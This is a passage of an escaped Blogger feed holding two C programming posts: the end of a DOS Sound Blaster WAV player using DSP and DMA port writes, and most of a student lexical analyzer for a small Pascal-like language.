/&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;//DSP was found&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Base = Test;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;return (1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;//No DSP was found&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;return (0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;***&lt;br /&gt;** Send a byte to the DSP (Digital Signal Processor) on the Sound Blaster&lt;br /&gt;**&lt;br /&gt;**************************************************************************&lt;br /&gt;**/&lt;br /&gt;void WriteDSP(unsigned char Value)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;//Wait for the DSP to be ready to accept data&lt;br /&gt;&amp;nbsp;&amp;nbsp;while ((inportb(Base + 0xC) &amp;amp; 0x80) == 0x80);&lt;br /&gt;&amp;nbsp;&amp;nbsp;//Send byte&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;outportb (Base + 0xC, Value);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;***&lt;br /&gt;** Plays a part of the memory&lt;br /&gt;**&lt;br /&gt;**************************************************************************&lt;br /&gt;**/&lt;br /&gt;void PlayBack (struct WaveData *Wave)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;long &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;LinearAddress;&lt;br /&gt;&amp;nbsp;&amp;nbsp;unsigned int &amp;nbsp;Page, OffSet;&lt;br /&gt;&amp;nbsp;&amp;nbsp;unsigned char TimeConstant;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;TimeConstant = (65536 - (256000000 / Wave-&amp;gt;Frequency)) &amp;gt;&amp;gt; 8;&lt;br /&gt;&amp;nbsp;&amp;nbsp;WriteDSP(0x40); &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//DSP-command 40h - Set sample&lt;br /&gt;frequency&lt;br /&gt;&amp;nbsp;&amp;nbsp;WriteDSP(TimeConstant); &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//Write time constant&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;//Convert pointer to linear address&lt;br /&gt;&amp;nbsp;&amp;nbsp;LinearAddress = FP_SEG (Wave-&amp;gt;Sample);&lt;br /&gt;&amp;nbsp;&amp;nbsp;LinearAddress = (LinearAddress &amp;lt;&amp;lt; 4) + FP_OFF (Wave-&amp;gt;Sample);&lt;br /&gt;&amp;nbsp;&amp;nbsp;Page = LinearAddress &amp;gt;&amp;gt; 16; &amp;nbsp; &amp;nbsp; &amp;nbsp;//Calculate page&lt;br /&gt;&amp;nbsp;&amp;nbsp;OffSet = LinearAddress &amp;amp; 0xFFFF; //Calculate offset in the page&lt;br /&gt;&amp;nbsp;&amp;nbsp;/*&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;Note - this procedure only works with DMA channel 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;*/&lt;br /&gt;&amp;nbsp;&amp;nbsp;outportb (0x0A, 5); &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//Mask DMA channel 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;outportb (0x0C, 0); &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//Clear byte pointer&lt;br /&gt;&amp;nbsp;&amp;nbsp;outportb (0x0B, 0x49); &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; //Set mode&lt;br /&gt;&amp;nbsp;&amp;nbsp;/*&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;The mode consists of the following:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;0x49 = binary 01 00 10 01&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp;| &amp;nbsp;| &amp;nbsp;|&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp;| &amp;nbsp;| &amp;nbsp;+- DMA channel 01&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp;| &amp;nbsp;+---- Read operation (the DSP reads from memory)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp;+------- Single cycle mode&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;+---------- Block mode&lt;br /&gt;&amp;nbsp;&amp;nbsp;*/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;outportb (0x02, OffSet &amp;amp; 0x100); //Write the offset to the DMA&lt;br /&gt;controller&lt;br /&gt;&amp;nbsp;&amp;nbsp;outportb (0x02, OffSet &amp;gt;&amp;gt; 8);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;outportb (0x83, Page); &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; //Write the page to the DMA controller&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;outportb (0x03, Wave-&amp;gt;SoundLength &amp;amp; 0x100);&lt;br /&gt;&amp;nbsp;&amp;nbsp;outportb (0x03, Wave-&amp;gt;SoundLength &amp;gt;&amp;gt; 8);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;outportb (0x0A, 1); &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//Unmask DMA channel&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;WriteDSP(0x14); &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;// DSP-command 14h - Single cycle&lt;br /&gt;playback&lt;br /&gt;&amp;nbsp;&amp;nbsp;WriteDSP(Wave-&amp;gt;SoundLength &amp;amp; 0xFF);&lt;br /&gt;&amp;nbsp;&amp;nbsp;WriteDSP(Wave-&amp;gt;SoundLength &amp;gt;&amp;gt; 8);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;***&lt;br /&gt;** Loads a wave file into memory.&lt;br /&gt;**&lt;br /&gt;** This procedure expects a _very_ standard wave header.&lt;br /&gt;**&lt;br /&gt;** It doesn't perform much error checking.&lt;br /&gt;**&lt;br /&gt;**************************************************************************&lt;br /&gt;**/&lt;br /&gt;int LoadVoice (struct WaveData *Voice, char *FileName)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;FILE *WAVFile;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;//If it can't be opened...&lt;br /&gt;&amp;nbsp;&amp;nbsp;WAVFile = fopen(FileName, "rb");&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (WAVFile == NULL) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;//..display error message&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;return (0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;//Return length of file for sound length minus 48 bytes for .WAV header&lt;br /&gt;&amp;nbsp;&amp;nbsp;fseek(WAVFile, 0L, SEEK_END);&lt;br /&gt;&amp;nbsp;&amp;nbsp;Voice-&amp;gt;SoundLength = ftell (WAVFile) - 48;&lt;br /&gt;&amp;nbsp;&amp;nbsp;fseek(WAVFile, 0L, SEEK_SET);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;//Check RIFF header&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (Voice-&amp;gt;SoundLength &amp;gt; 32000) {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (Voice-&amp;gt;SoundLength &amp;gt; 64000) {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;Voice-&amp;gt;SoundLength = 64000;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;free(Voice-&amp;gt;Sample);&lt;br /&gt;&amp;nbsp;&amp;nbsp;Voice-&amp;gt;Sample = (char *)malloc(Voice-&amp;gt;SoundLength); //Assign memory&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (!Voice-&amp;gt;Sample) {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;return (0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;//Load the sample data&lt;br /&gt;&amp;nbsp;&amp;nbsp;fread(&amp;amp;Header, 46, 1, WAVFile);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;//Check RIFF header&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (Header.RIFF != 0x46464952) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;printf ("Not a wave file&lt;br /&gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;return (0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;//Check channels&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (Header.Channels != 1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;printf ("Not a mono wave file&lt;br /&gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;return (0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;//Check bit resolution&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (Header.BitRes != 8) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;printf ("Not an 8-bit wave file&lt;br /&gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;return (0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Voice-&amp;gt;Frequency = Header.Frequency;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;//Load the sample data&lt;br /&gt;&amp;nbsp;&amp;nbsp;fread(Voice-&amp;gt;Sample, Voice-&amp;gt;SoundLength + 2, 1, WAVFile);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;fclose (WAVFile); //Close the file&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;return (1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void playwav (char wavefile[14], float delaytime &amp;nbsp;)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;delaytime=1.0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (ResetDSP (0x220)) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;//at 220h&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;printf ("");&lt;br /&gt;&amp;nbsp;&amp;nbsp;} else {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (ResetDSP (0x240)) {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;//at 240h&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;printf ("");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;} else {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;//or none at all&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;printf ("");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;return;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;//Load wave file&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (LoadVoice (&amp;amp;Voice, wavefile)) {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;//Start playback&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;PlayBack (&amp;amp;Voice);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;delay(delaytime*1000);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;//Stops DMA-transfer&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;WriteDSP (0xD0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-168900412865595434?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/168900412865595434/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/wav-file-player-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/168900412865595434'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/168900412865595434'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/wav-file-player-in-c.html' title='WAV file player in C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8803146569966677740</id><published>2011-03-20T20:11:00.001-07:00</published><updated>2011-03-20T20:11:51.030-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C Programming Lab Assignments'/><title type='text'>Creating a Lexical Analyzer in c</title><content type='html'>/***************************************************************&lt;br /&gt;Program describtion :&lt;br /&gt;=====================&lt;br /&gt;This program is for creating a Lexical Analyzer in c&lt;br /&gt;&lt;br /&gt;Created by :&lt;br /&gt;=============&lt;br /&gt;Name  : Fahad Bader Al-buhairi&lt;br /&gt;Email : q8_government@hotmail.com&lt;br /&gt;phone : 009657991000&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;Necessary Header files used in program.&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;#include stdio.h&lt;br /&gt;#include string.h&lt;br /&gt;#include conio.h&lt;br /&gt;#include ctype.h&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;Functions prototype.&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;void   Open_File();&lt;br /&gt;void   Demage_Lexeme();&lt;br /&gt;int    Search(char[256],int);&lt;br /&gt;void   analyze();&lt;br /&gt;void   Skip_Comment();&lt;br /&gt;void   Read_String();&lt;br /&gt;void   Is_Keyword_Or_Not();&lt;br /&gt;void   Is_Identifier_Or_Not();&lt;br /&gt;void   Is_Operator_Or_Not();&lt;br /&gt;void   Read_Number();&lt;br /&gt;void   Is_Special_Or_Not();&lt;br /&gt;void   Is_Comparison_Or_Not();&lt;br /&gt;void   Add_To_Lexical (char[256],int,char[256]);&lt;br /&gt;void   Print_ST();&lt;br /&gt;void   Print_TOKEN();&lt;br /&gt;void   Token_Attribute();&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;Data structure used in program.&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;struct lexical&lt;br /&gt;{&lt;br /&gt;    char    data[256];          //Value of token.&lt;br /&gt;    int     line[256];          //Line # which token appear in input &lt;br /&gt;file.&lt;br /&gt;    int     times;              //# of times that token appear in input&lt;br /&gt;file.&lt;br /&gt;    char    type[256];           //Type of each token.&lt;br /&gt;    struct  lexical *next;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;typedef struct lexical Lex;&lt;br /&gt;typedef Lex *lex;&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;File pointer for accessing the file.&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;FILE *fp;&lt;br /&gt;FILE *st;&lt;br /&gt;FILE *token;&lt;br /&gt;char lexeme[256],ch;&lt;br /&gt;int f,flag,line=1,i=1;&lt;br /&gt;lex head=NULL,tail=NULL;&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;Array holding all keywords for checking.&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;char &lt;br /&gt;*keywords[]={"procedure","is","begin","end","var","cin","cout","if",&lt;br /&gt;    "then","else","and","or","not","loop","exit","when",&lt;br /&gt;    "while","until"};&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;Array holding all arithmetic operations for checking.&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;char arithmetic_operator[]={'+','-','*','/'};&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;Array holding all comparison operations for checking.&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;char *comparison_operator[]={"&lt;","&gt;","=","&lt;=","&lt;&gt;","&gt;="};&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;Array holding all special for checking.&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;char special[]={'%','!','@','~','$'};&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;&lt;br /&gt;   **************&lt;br /&gt;   *MAIN PROGRAM*&lt;br /&gt;   **************&lt;br /&gt;&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;  Open_File();&lt;br /&gt;  analyze();&lt;br /&gt;  fclose(fp);&lt;br /&gt;  Print_ST();&lt;br /&gt;  Print_TOKEN();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;This function open input sourse file.&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;void Open_File()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;  fp=fopen("source.txt","r");   //provide path for source.txt here&lt;br /&gt;  if(fp==NULL)&lt;br /&gt;  {&lt;br /&gt; printf("!!!Can't open input file - source.txt!!!");&lt;br /&gt; getch();&lt;br /&gt; exit(0);&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;Function to add item to structure of array to store data and&lt;br /&gt;information of lexical items.&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;void Add_To_Lexical (char value[256],int line,char type[256])&lt;br /&gt;{&lt;br /&gt; lex new_lex;&lt;br /&gt;&lt;br /&gt; if (!Search(value,line))    //When return 1 the token not found.&lt;br /&gt; {&lt;br /&gt;&lt;br /&gt;   new_lex=malloc(sizeof(Lex));&lt;br /&gt;&lt;br /&gt;   if (new_lex!=NULL)&lt;br /&gt;   {&lt;br /&gt;  strcpy(new_lex-&gt;data,value);&lt;br /&gt;  new_lex-&gt;line[0]=line;&lt;br /&gt;  new_lex-&gt;times=1;&lt;br /&gt;  strcpy(new_lex-&gt;type,type);&lt;br /&gt;  new_lex-&gt;next=NULL;&lt;br /&gt;&lt;br /&gt;  if (head==NULL)&lt;br /&gt;     head=new_lex;&lt;br /&gt;  else&lt;br /&gt;     tail-&gt;next=new_lex;&lt;br /&gt;&lt;br /&gt;  tail=new_lex;&lt;br /&gt;   }&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;Function to search token.&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;int Search (char value[256],int line)&lt;br /&gt;{&lt;br /&gt;  lex x=head;&lt;br /&gt;  int flag=0;&lt;br /&gt;&lt;br /&gt;  while (x-&gt;next!=NULL &amp;&amp; !flag)&lt;br /&gt;  {&lt;br /&gt;    if (strcmp(x-&gt;data,value)==0)&lt;br /&gt;    {&lt;br /&gt;      x-&gt;line[x-&gt;times]=line;&lt;br /&gt;      x-&gt;times++;&lt;br /&gt;      flag=1;&lt;br /&gt;    }&lt;br /&gt;    x=x-&gt;next;&lt;br /&gt;  }&lt;br /&gt;  return flag;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;Function to print the ST.TXT .&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;void Print_ST()&lt;br /&gt;{&lt;br /&gt;  lex x=head;&lt;br /&gt;  int j;&lt;br /&gt;&lt;br /&gt;  if ((st=fopen("ST.TXT","w"))==NULL)&lt;br /&gt;      printf("The file ST.TXT cat not open. &lt;br /&gt;");&lt;br /&gt;&lt;br /&gt;  else&lt;br /&gt;&lt;br /&gt;  {&lt;br /&gt;    fprintf(st,"  %s      %s   %s &lt;br /&gt;","Line#","Lexeme","Type");&lt;br /&gt;    fprintf(st,"  ----      ------   ---- &lt;br /&gt;");&lt;br /&gt;&lt;br /&gt;    while (x!=NULL)&lt;br /&gt;    {&lt;br /&gt;      if ((strcmp(x-&gt;type,"num")==0)         ||&lt;br /&gt;  (strcmp(x-&gt;type,"keyword")==0)      ||&lt;br /&gt;  (strcmp(x-&gt;type,"identifier")==0))&lt;br /&gt;      {&lt;br /&gt;  fprintf(st,"  ");&lt;br /&gt;&lt;br /&gt;  for (j=0;j&lt;x-&gt;times;j++)&lt;br /&gt;  {&lt;br /&gt;    fprintf(st,"%d",x-&gt;line[j]);&lt;br /&gt;  if (j!=x-&gt;times-1)      //This condition to prevent the comma&lt;br /&gt;    fprintf(st,",",x-&gt;line[j]);  //"," to not print after last line #.&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt; fprintf(st,"     %-6s    %-6s &lt;br /&gt;",x-&gt;data,x-&gt;type);&lt;br /&gt;      }&lt;br /&gt;      x=x-&gt;next;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    fclose(st);&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;Function to print the TOKENS.TXT .&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;void Print_TOKEN()&lt;br /&gt;{&lt;br /&gt;  int flag=0;&lt;br /&gt;&lt;br /&gt;  fp=fopen("source.txt","r");&lt;br /&gt;&lt;br /&gt;    if(fp==NULL)&lt;br /&gt;    {&lt;br /&gt;       printf("!!!Can't open input file - source.txt!!!");&lt;br /&gt;       getch();&lt;br /&gt;       exit(0);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;  else&lt;br /&gt;&lt;br /&gt;    {&lt;br /&gt; if ((token=fopen("TOKENS.TXT","w"))==NULL)&lt;br /&gt;   printf("The file ST.TXT cat not open. &lt;br /&gt;");&lt;br /&gt;&lt;br /&gt;      else&lt;br /&gt;&lt;br /&gt;      {&lt;br /&gt; ch=fgetc(fp);&lt;br /&gt;&lt;br /&gt; while (!(feof(fp)))&lt;br /&gt; {&lt;br /&gt;&lt;br /&gt;   if (ch==' ' &amp;&amp; !flag)&lt;br /&gt;   {&lt;br /&gt;     do&lt;br /&gt;       ch=fgetc(fp);&lt;br /&gt;     while (ch==' ');&lt;br /&gt;&lt;br /&gt;     fseek(fp,-2,1);&lt;br /&gt;     ch=fgetc(fp);&lt;br /&gt;     flag=1;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   if (ch!='&lt;br /&gt;' &amp;&amp; ch!=' ')&lt;br /&gt;     fprintf(token,"%c",ch);&lt;br /&gt;&lt;br /&gt;   if (ch=='&lt;br /&gt;')&lt;br /&gt;   {&lt;br /&gt;     fprintf(token,"&lt;br /&gt;");&lt;br /&gt;     Token_Attribute();&lt;br /&gt;     i++;&lt;br /&gt;     flag=0;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   ch=fgetc(fp);&lt;br /&gt; }&lt;br /&gt;      }&lt;br /&gt;    }&lt;br /&gt;    fclose(fp);&lt;br /&gt;    fclose(token);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;Function to put the token and atrribute in TOKENS.TXT .&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;void Token_Attribute()&lt;br /&gt;{&lt;br /&gt;  lex x=head;&lt;br /&gt;  int j;&lt;br /&gt;&lt;br /&gt;  while (x!=NULL)&lt;br /&gt;  {&lt;br /&gt;    if (x-&gt;line[0]==i)&lt;br /&gt;    {&lt;br /&gt;      fprintf(token,"token : %-4s ",x-&gt;type);&lt;br /&gt;&lt;br /&gt;      if ((strcmp(x-&gt;type,"num")==0)         ||&lt;br /&gt;  (strcmp(x-&gt;type,"keyword")==0)      ||&lt;br /&gt;  (strcmp(x-&gt;type,"identifier")==0))&lt;br /&gt;&lt;br /&gt;      {&lt;br /&gt;   fprintf(token,"attribute : line#=%-4d &lt;br /&gt;",i);&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      else&lt;br /&gt;&lt;br /&gt;      {&lt;br /&gt;   fprintf(token,"attribute : %-4s &lt;br /&gt;",x-&gt;data);&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;    x=x-&gt;next;&lt;br /&gt;  }&lt;br /&gt;  fprintf(token,"&lt;br /&gt;");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/****************************************************************&lt;br /&gt;Function to create lexical analysis.&lt;br /&gt;*****************************************************************/&lt;br /&gt;&lt;br /&gt;void analyze()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;  ch=fgetc(fp);                      //Read character.&lt;br /&gt;&lt;br /&gt;  while(!feof(fp))                   //While the file is not end.&lt;br /&gt;  {&lt;br /&gt;&lt;br /&gt;      if(ch=='&lt;br /&gt;')                   //Compute # of lines in source.txt &lt;br /&gt;.&lt;br /&gt;   {&lt;br /&gt;     line++;&lt;br /&gt;     ch=fgetc(fp);&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;      if(isspace(ch) &amp;&amp; ch=='&lt;br /&gt;' )&lt;br /&gt;      {&lt;br /&gt;   line++;&lt;br /&gt;   ch=fgetc(fp);&lt;br /&gt;      }&lt;br /&gt;      if(isspace(ch) &amp;&amp; ch!='&lt;br /&gt;' )          //The character is space.&lt;br /&gt;   ch=fgetc(fp);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      if(ch=='/' || ch=='"')    //Function for skipping comments in the&lt;br /&gt;file&lt;br /&gt;   Skip_Comment(); //and '"' with display statements.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      if(isalpha(ch))              //The character is leter.&lt;br /&gt; {&lt;br /&gt;     Read_String();&lt;br /&gt;     Is_Keyword_Or_Not();&lt;br /&gt;     Is_Operator_Or_Not();&lt;br /&gt;     Is_Identifier_Or_Not();&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      if(isdigit(ch))             //The character is digit.&lt;br /&gt;  Read_Number();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      if (ch==';')                //The character is semicolon.&lt;br /&gt; Add_To_Lexical(";",line,"semicolon");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      if (ch==':')                //The character is colon.&lt;br /&gt; Add_To_Lexical(":",line,"colon");&lt;br /&gt;&lt;br /&gt;&lt;br 